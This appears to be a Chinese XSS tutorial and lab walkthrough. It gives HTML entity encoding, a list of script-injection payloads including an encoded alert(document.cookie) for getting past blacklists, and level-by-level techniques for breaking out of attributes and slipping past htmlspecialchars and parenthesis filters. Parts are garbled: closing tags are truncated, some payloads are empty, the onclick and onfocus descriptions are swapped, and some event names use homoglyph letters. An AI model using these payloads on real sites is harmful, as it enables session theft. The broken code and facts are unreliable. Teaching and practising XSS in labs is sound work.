为了避免 XSS 攻击,会将<>编码为<与>,这些就是 HTML 实体编码。
| 编码前 | 编码后 |
|---|---|
| 不可分的空格 | |
| < (小于符号) | < |
| > (大于符号) | > |
| & (与符号) | & |
| ″ (双引号) | " |
| ’ (单引号) | ' |
| © (版权符号) | © |
he.encode('
') // "<img src=""></img>"
// 转义
he.escape('
') // "<img src=""></img>"
<img src="x" onerror=alert(1)>
<a href="javascript:alert(1)">baidua>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aaa>
<script>alert('xss')script>
<script>prompt('xss')script>
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>
<iframe src="javascript:prompt(`xss`)">iframe>
<svg onload=alert(1)>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)>(实体化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)script>
通过观察页面,猜测因该是一个传参name=test可以下手

查看页面源代码

从这里我们可以看到它将name的参数值,插入到了标签之间,第一关没有过滤
payload:name=
一个搜索框,故技重施失败了,判断他有过滤

查看源代码,上面一行是查询的回显,可以看到被实体化编码了,下面一行被双引号包裹

上面的实体化编码无法绕过了,现在的目标转化为下面一行,那就是闭合!
payload: ">//
或者 "><
实测也可以不用注释后面的">,说明HTML属于弱类型,校验不严格,另外查看这关源代码,调用的函数是 htmlspecialchars() 它的作用就是让 < 和 > 被HTML实体化编码
PHP htmlspecialchars() 函数
还是搜索框,故技重施x2,无果,看源代码

这波看似没办法搞了,两边都被实体化了

仔细一想,两个尖括号以及被ban掉,
特殊事件 onmouseover onclick onfocuse 的介绍链接:
HTML onmouseover 事件属性 | 菜鸟教程
HTML onclick 事件属性 | 菜鸟教程
HTML onfocus 事件属性 | 菜鸟教程
| 函数 | 效果 |
|---|---|
| οnmοuseοver=alert(1) | 鼠标指针移至图片之上时弹窗 |
| οnclick=alert(1) | 输入域获得焦点时弹窗 |
| οnfοcus=alert(1) | 单击鼠标时弹窗 |
还有一个问题就是闭合这两个引号,闭合前面的,注释或者闭合后面的,这里跟上一关的标签闭合不一样,是比较严格的,不闭合属性中的值会无法执行
payload:' onmouseover=alert(1) //
或者: ' onmouseover=alert(1) x='
啥也没有直接来吧

前面的标签有个特性,无法创建其他标签,那就闭合掉

input标签,直接onmouseover+闭合连招,
还有种方法是闭合+新开标签 ">
当然也可以用">也是很好用的

过滤了左右括号 () 那就用反引号`绕过
